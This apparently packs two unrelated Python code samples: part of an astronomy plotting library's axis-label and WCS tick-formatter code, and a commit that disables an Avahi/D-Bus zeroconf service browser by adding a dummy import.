        Required Arguments:

            *dispacement*: [ float ]
                The vertical displacement of the y-axis label, in units of the
                size of the viewport. The default is -0.13. A value of 0 would
                place the label on the left y-axis, and a value of 1 would place
                the label on the right y-axis.

        Optional Keyword Arguments:

            *refresh*: [ True | False ]
                Whether to refresh the display straight after setting the parameter.
                For non-interactive uses, this can be set to False.
        """

        self.apl_ylabel_disp = displacement

        if self.ylabel:
            self.ylabel.set_x(self.apl_ylabel_disp)

        if refresh:
            self.refresh()

    def set_axis_labels(self,xlabel,ylabel,refresh=True):
        """
        Set the axes labels

        Required Arguments:

            *xlabel*: [ string ]
                The x-axis label.

            *ylabel*: [ string ]
                The y-axis label.

        Optional Keyword Arguments:

            *refresh*: [ True | False ]
                Whether to refresh the display straight after setting the parameter.
                For non-interactive uses, this can be set to False.
        """

        if self.xlabel:
            self.xlabel.set_text(xlabel)
            self.xlabel.set_y(self.apl_xlabel_disp)
        else:
            self.xlabel = self._ax1.text(0.5,self.apl_xlabel_disp,xlabel,fontproperties=self.axes_font,transform = self._ax1.transAxes,ha='center',va='center')

        if self.ylabel:
            self.ylabel.set_text(ylabel)
            self.ylabel.set_x(self.apl_ylabel_disp)
        else:
            self.ylabel = self._ax1.text(self.apl_ylabel_disp,0.5,ylabel,fontproperties=self.axes_font,transform = self._ax1.transAxes,rotation='vertical',ha='center',va='center')

        if refresh:
            self.refresh()

    def set_axis_labels_size(self, size, refresh=True):
        """
        Set the size of the axis labels

        Required Arguments:

            *size*: [ size in points | xx-small | x-small | small |
                      medium | large | x-large | xx-large ]

                The size of the axis labels. Default is 'small'.

        Optional Keyword Arguments:

            *refresh*: [ True | False ]
                Whether to refresh the display straight after setting the parameter.
                For non-interactive uses, this can be set to False.
        """

        self.axes_font.set_size(size)
        self._update_axes_font()

        if refresh:
            self.refresh()

    def set_axis_labels_weight(self, weight, refresh=True):
        """
        Set the weight of the axis labels

        Required Arguments:

            *weight*: [ a numeric value in range 0-1000 | ultralight |
                        light | normal | regular | book | medium |
                        roman | semibold | demibold | demi | bold |
                        heavy | extra bold | black ]

                The weight of the axis labels. Default is 'normal'.

        Optional Keyword Arguments:

            *refresh*: [ True | False ]
                Whether to refresh the display straight after setting the parameter.
                For non-interactive uses, this can be set to False.
        """

        self.axes_font.set_weight(weight)
        self._update_axes_font()

        if refresh:
            self.refresh()

    def set_axis_labels_family(self, family, refresh=True):
        """
        Set the font family of the axis labels

        Required Arguments:

            *family*: [ serif | sans-serif | cursive | fantasy | monospace ]

                The font family of the axis labels. Default is 'sans-serif'.

        Optional Keyword Arguments:

            *refresh*: [ True | False ]
                Whether to refresh the display straight after setting the parameter.
                For non-interactive uses, this can be set to False.
        """

        self.axes_font.set_family(family)
        self._update_axes_font()

        if refresh:
            self.refresh()

    def _update_axes_font(self):

        self.xlabel.set_fontproperties(self.axes_font)
        self.ylabel.set_fontproperties(self.axes_font)

class WCSFormatter(mpl.Formatter):

    def __init__(self, wcs=False,coord='x'):
        self._wcs = wcs
        self.coord = coord

    def __call__(self,x,pos=None):
        'Return the format for tick val x at position pos; pos=None indicated unspecified'

        hours = 'h' in self.axis.apl_label_form

        if self.axis.apl_labels_style == 'plain':
            sep = ('d','m','s')
            if hours: sep = ('h','m','s')
        elif self.axis.apl_labels_style == 'colons':
            sep = (':',':','')
        elif self.axis.apl_labels_style == 'latex':
            if hours:
                sep = ('^{h}','^{m}','^{s}')
            else:
                sep = ('^{\circ}','^{\prime}','^{\prime\prime}')

        ymin, ymax = self.axis.get_axes().yaxis.get_view_interval()
        xmin, xmax = self.axis.get_axes().xaxis.get_view_interval()

        ipos = math_util.minloc(np.abs(self.axis.apl_tick_positions_pix-x))

        label = self.axis.apl_tick_spacing * self.axis.apl_tick_positions_world[ipos]
        if hours: label = label.tohours()
        label = label.tostringlist(format=self.axis.apl_label_form,sep=sep)

        if self.coord == x or self.axis.apl_tick_positions_world[ipos] > 0:
            comp_ipos = ipos - 1
        else:
            comp_ipos = ipos + 1

        if comp_ipos >= 0 and comp_ipos <= len(self.axis.apl_tick_positions_pix)-1:

            comp_label = self.axis.apl_tick_spacing * self.axis.apl_tick_positions_world[comp_ipos]
            if hours: comp_label = comp_label.tohours()
            comp_label = comp_label.tostringlist(format=self.axis.apl_label_form,sep=sep)

            for iter in range(len(label)):
                if comp_label[0] == label[0]:
                    label.pop(0)
                    comp_label.pop(0)
                else:
                    break

        if self.axis.apl_labels_style == 'latex':
            return "$"+string.join(label,"")+"$"
        else:
            return string.join(label,"")
<|endoftext|>


<commit_before>import os, sys
import traceback
import time

import avahi, avahi.ServiceTypeDatabase

import gobject
import dbus
from dbus.mainloop.glib import DBusGMainLoop

service_type_browsers = {}
service_browsers = {}
service_type_db = avahi.ServiceTypeDatabase.ServiceTypeDatabase()
service_seen = {}

from browse import ZeroConfBrowser as ZeroConfBrowserBase

import threading

class ZeroConfBrowser(ZeroConfBrowserBase):
	def check():
		bus = dbus.SystemBus(mainloop=DBusGMainLoop(set_as_default=False))
		try:
			server = dbus.Interface(bus.get_object(avahi.DBUS_NAME, avahi.DBUS_PATH_SERVER), avahi.DBUS_INTERFACE_SERVER)
			print "avahi version", server.GetVersionString()
		except dbus.DBusException, e:
			print e
			return False
		return True
	check = staticmethod(check)

	######################################
	# Helper functions
	######################################
	def protoname(self, protocol):
		if protocol == avahi.PROTO_INET:
			return "IPv4"
		if protocol == avahi.PROTO_INET6:
			return "IPv6"
		return "n/a"

	def siocgifname(self, interface):
		if interface <= 0:
			return "n/a"
		else:
			return self.server.GetNetworkInterfaceNameByIndex(interface)

	def get_interface_name(self, interface, protocol):
		if interface == avahi.IF_UNSPEC and protocol == avahi.PROTO_UNSPEC:
			return "Wide Area"
		else:
			return str(self.siocgifname(interface)) + " " + str(self.protoname(protocol))

	def lookup_type(self, stype):
		global service_type_db
		try:
			return service_type_db[stype]
		except KeyError:
			return stype

	def print_error(self, err):
		print "Error:", str(err)

	def pair_to_dict(self, l):
		res = dict()
		for el in l:
			if "=" not in el:
				res[el]=''
			else:
				tmp = el.split('=',1)
				if len(tmp[0]) > 0:
					res[tmp[0]] = tmp[1]
		return res

	######################################
	# Callback functions
	######################################
	def callback(self, function):
		def wrapper(*args, **kw):
			self.pending.append((function, args, kw))
		return wrapper

	def service_resolved(self, interface, protocol, name, stype, domain, host, aprotocol, address, port, txt, flags):
		"""\
		Called when all the information about a service is avaliable.
		"""
		assert threading.currentThread() == self.dbusthread

		if len(txt) != 0:
			details = self.pair_to_dict(avahi.txt_array_to_string_array(txt))
		else:
			details = []

		self.ServiceFound(name, stype.split('.')[0][1:], (host, address, port), details, details)

	def new_service(self, interface, protocol, name, stype, domain, flags):
		"""\
		Called when a new service is found.
		"""
		assert threading.currentThread() == self.dbusthread

		self.server.ResolveService( interface, protocol, name, stype, domain, \
			avahi.PROTO_UNSPEC, dbus.UInt32(0), reply_handler=self.callback(self.service_resolved), error_handler=self.callback(self.print_error))

	def remove_service(self, interface, protocol, name, stype, domain, flags):
		"""\
		Called when a service disappears.
		"""
		assert threading.currentThread() == self.dbusthread

		self.ServiceGone(name, stype.split('.')[0][1:], None)

	def new_domain(self, interface, protocol, domain, flags):
		"""\
		Called when a new domain appears.
		"""
		assert threading.currentThread() == self.dbusthread

		ifn = self.get_interface_name(interface, protocol)
		if domain != "local":
			self.browse_domain(interface, protocol, domain)

	def browse_domain(self, interface, protocol, domain):
		"""
		Register to browse a given domain.
		"""
		assert threading.currentThread() == self.dbusthread

		# FIXME: This is probably quite bad!
		global service_type_browsers

		# Are we already browsing this domain?
		if service_type_browsers.has_key((interface, protocol, domain)):
			return

		try:
			b = dbus.Interface( \
					self.bus.get_object(avahi.DBUS_NAME, \
						self.server.ServiceTypeBrowserNew(interface, protocol, domain, dbus.UInt32(0))
					),  avahi.DBUS_INTERFACE_SERVICE_TYPE_BROWSER)
		except dbus.DBusException, e:
			print e
			traceback.print_exc()

		for stype in ['_tp', '_tps', '_tp-http', '_tp-https']:
			stype = stype+'._tcp'
			b = dbus.Interface( \
					self.bus.get_object(avahi.DBUS_NAME, \
						self.server.ServiceBrowserNew(interface, protocol, stype, domain, dbus.UInt32(0))
					), avahi.DBUS_INTERFACE_SERVICE_BROWSER)
			service_browsers[(interface, protocol, stype, domain)] = b
			b.connect_to_signal('ItemNew', self.callback(self.new_service))
			b.connect_to_signal('ItemRemove', self.callback(self.remove_service))

	def __init__(self):
		ZeroConfBrowserBase.__init__(self)

		import dbus.mainloop.glib
		dbus.mainloop.glib.threads_init()

		self.pending = []

	def run(self):
		self.dbusthread = threading.currentThread()

		from dbus.mainloop.glib import DBusGMainLoop
		mainloop = DBusGMainLoop(set_as_default=True)
		self.bus = dbus.SystemBus(mainloop=mainloop)

		self.server   = dbus.Interface(self.bus.get_object(avahi.DBUS_NAME, avahi.DBUS_PATH_SERVER), avahi.DBUS_INTERFACE_SERVER)

		# Explicitly browse .local
		self.browse_domain(avahi.IF_UNSPEC, avahi.PROTO_UNSPEC, "local")

		# Browse for other browsable domains
		db = dbus.Interface(self.bus.get_object(avahi.DBUS_NAME, self.server.DomainBrowserNew(avahi.IF_UNSPEC, avahi.PROTO_UNSPEC, "", avahi.DOMAIN_BROWSER_BROWSE, dbus.UInt32(0))), avahi.DBUS_INTERFACE_DOMAIN_BROWSER)
		db.connect_to_signal('ItemNew', self.new_domain)

		self.mainloop = gobject.MainLoop()
		gcontext = self.mainloop.get_context()
		while not self.mainloop is None:
			if len(self.pending) > 0:
				command, args, kw = self.pending.pop(0)
				command(*args, **kw)

			if gcontext.pending():
				gcontext.iteration()
			else:
				time.sleep(0.01)

	def exit(self):
		if hasattr(self, 'mainloop'):
			self.mainloop.quit()
			self.mainloop = None

def main():
	a = ZeroConfBrowser()
	a.run()

if __name__ == "__main__":
	main()

<commit_msg>Disable avahi until dbus crashes can be fixed.<commit_after>
import avahi_disabled

import os, sys
import traceback
import time

import avahi, avahi.ServiceTypeDatabase

import gobject
import dbus
from dbus.mainloop.glib import DBusGMainLoop

service_type_browsers = {}
service_browsers = {}
service_type_db = avahi.ServiceTypeDatabase.ServiceTypeDatabase()
service_seen = {}

from browse import ZeroConfBrowser as ZeroConfBrowserBase

import threading

class ZeroConfBrowser(ZeroConfBrowserBase):
	def check():
		bus = dbus.SystemBus(mainloop=DBusGMainLoop(set_as_default=False))
		try:
			server = dbus.Interface(bus.get_object(avahi.DBUS_NAME, avahi.DBUS_PATH_SERVER), avahi.DBUS_INTERFACE_SERVER)
			print "avahi version", server.GetVersionString()
		except dbus.DBusException, e:
			print e
			return False
		return True
	check = staticmethod(check)

	######################################
	# Helper functions
	######################################
	def protoname(self, protocol):
		if protocol == avahi.PROTO_INET:
			return "IPv4"
		if protocol == avahi.PROTO_INET6:
			return "IPv6"
		return "n/a"

	def siocgifname(self, interface):
		if interface <= 0:
			return "n/a"
		else:
			return self.server.GetNetworkInterfaceNameByIndex(interface)

	def get_interface_name(self, interface, protocol):
		if interface == avahi.IF_UNSPEC and protocol == avahi.PROTO_UNSPEC:
			return "Wide Area"
		else:
			return str(self.siocgifname(interface)) + " " + str(self.protoname(protocol))

	def lookup_type(self, stype):
		global service_type_db
		try:
			return service_type_db[stype]
		except KeyError:
			return stype

	def print_error(self, err):
		print "Error:", str(err)

	def pair_to_dict(self, l):
		res = dict()
		for el in l:
			if "=" not in el:
				res[el]=''
			else:
				tmp = el.split('=',1)
				if len(tmp[0]) > 0:
					res[tmp[0]] = tmp[1]
		return res

	######################################
	# Callback functions
	######################################
	def callback(self, function):
		def wrapper(*args, **kw):
			self.pending.append((function, args, kw))
		return wrapper

	def service_resolved(self, interface, protocol, name, stype, domain, host, aprotocol, address, port, txt, flags):
		"""\
		Called when all the information about a service is avaliable.
		"""
		assert threading.currentThread() == self.dbusthread

		if len(txt) != 0:
			details = self.pair_to_dict(avahi.txt_array_to_string_array(txt))
		else:
			details = []

		self.ServiceFound(name, stype.split('.')[0][1:], (host, address, port), details, details)

	def new_service(self, interface, protocol, name, stype, domain, flags):
		"""\
		Called when a new service is found.
		"""
		assert threading.currentThread() == self.dbusthread

		self.server.ResolveService( interface, protocol, name, stype, domain, \
			avahi.PROTO_UNSPEC, dbus.UInt32(0), reply_handler=self.callback(self.service_resolved), error_handler=self.callback(self.print_error))

	def remove_service(self, interface, protocol, name, stype, domain, flags):
		"""\
		Called when a service disappears.
		"""
		assert threading.currentThread() == self.dbusthread

		self.ServiceGone(name, stype.split('.')[0][1:], None)

	def new_domain(self, interface, protocol, domain, flags):
		"""\
		Called when a new domain appears.
		"""
		assert threading.currentThread() == self.dbusthread

		ifn = self.get_interface_name(interface, protocol)
		if domain != "local":
			self.browse_domain(interface, protocol, domain)

	def browse_domain(self, interface, protocol, domain):
		"""
		Register to browse a given domain.
		"""
		assert threading.currentThread() == self.dbusthread

		# FIXME: This is probably quite bad!
		global service_type_browsers

		# Are we already browsing this domain?
		if service_type_browsers.has_key((interface, protocol, domain)):
			return

		try:
			b = dbus.Interface( \
					self.bus.get_object(avahi.DBUS_NAME, \
						self.server.ServiceTypeBrowserNew(interface, protocol, domain, dbus.UInt32(0))
					),  avahi.DBUS_INTERFACE_SERVICE_TYPE_BROWSER)
		except dbus.DBusException, e:
			print e
			traceback.print_exc()

		for stype in ['_tp', '_tps', '_tp-http', '_tp-https']:
			stype = stype+'._tcp'
			b = dbus.Interface( \
					self.bus.get_object(avahi.DBUS_NAME, \
						self.server.ServiceBrowserNew(interface, protocol, stype, domain, dbus.UInt32(0))
					), avahi.DBUS_INTERFACE_SERVICE_BROWSER)
			service_browsers[(interface, protocol, stype, domain)] = b
			b.connect_to_signal('ItemNew', self.callback(self.new_service))
			b.connect_to_signal('ItemRemove', self.callback(self.remove_service))

	def __init__(self):
		ZeroConfBrowserBase.__init__(self)

		import dbus.mainloop.glib
		dbus.mainloop.glib.threads_init()

		self.pending = []

	def run(self):
		self.dbusthread = threading.currentThread()

		from dbus.mainloop.glib import DBusGMainLoop
		mainloop = DBusGMainLoop(set_as_default=True)
		self.bus = dbus.SystemBus(mainloop=mainloop)

		self.server   = dbus.Interface(self.bus.get_object(avahi.DBUS_NAME, avahi.DBUS_PATH_SERVER), avahi.DBUS_INTERFACE_SERVER)

		# Explicitly browse .local
		self.browse_domain(avahi.IF_UNSPEC, avahi.PROTO_UNSPEC, "local")

		# Browse for other browsable domains
		db = dbus.Interface(self.bus.get_object(avahi.DBUS_NAME, self.server.DomainBrowserNew(avahi.IF_UNSPEC, avahi.PROTO_UNSPEC, "", avahi.DOMAIN_BROWSER_BROWSE, dbus.UInt32(0))), avahi.DBUS_INTERFACE_DOMAIN_BROWSER)
		db.connect_to_signal('ItemNew', self.new_domain)

		self.mainloop = gobject.MainLoop()
		gcontext = self.mainloop.get_context()
		while not self.mainloop is None:
			if len(self.pending) > 0:
				command, args, kw = self.pending.pop(0)
				command(*args, **kw)

			if gcontext.pending():
				gcontext.iteration()
			else:
				time.sleep(0.01)

	def exit(self):
		if hasattr(self, 'mainloop'):
			self.mainloop.quit()
			self.mainloop = None

def main():
	a = ZeroConfBrowser()
	a.run()

if __name__ == "__main__":
	main()

<|endoftext|>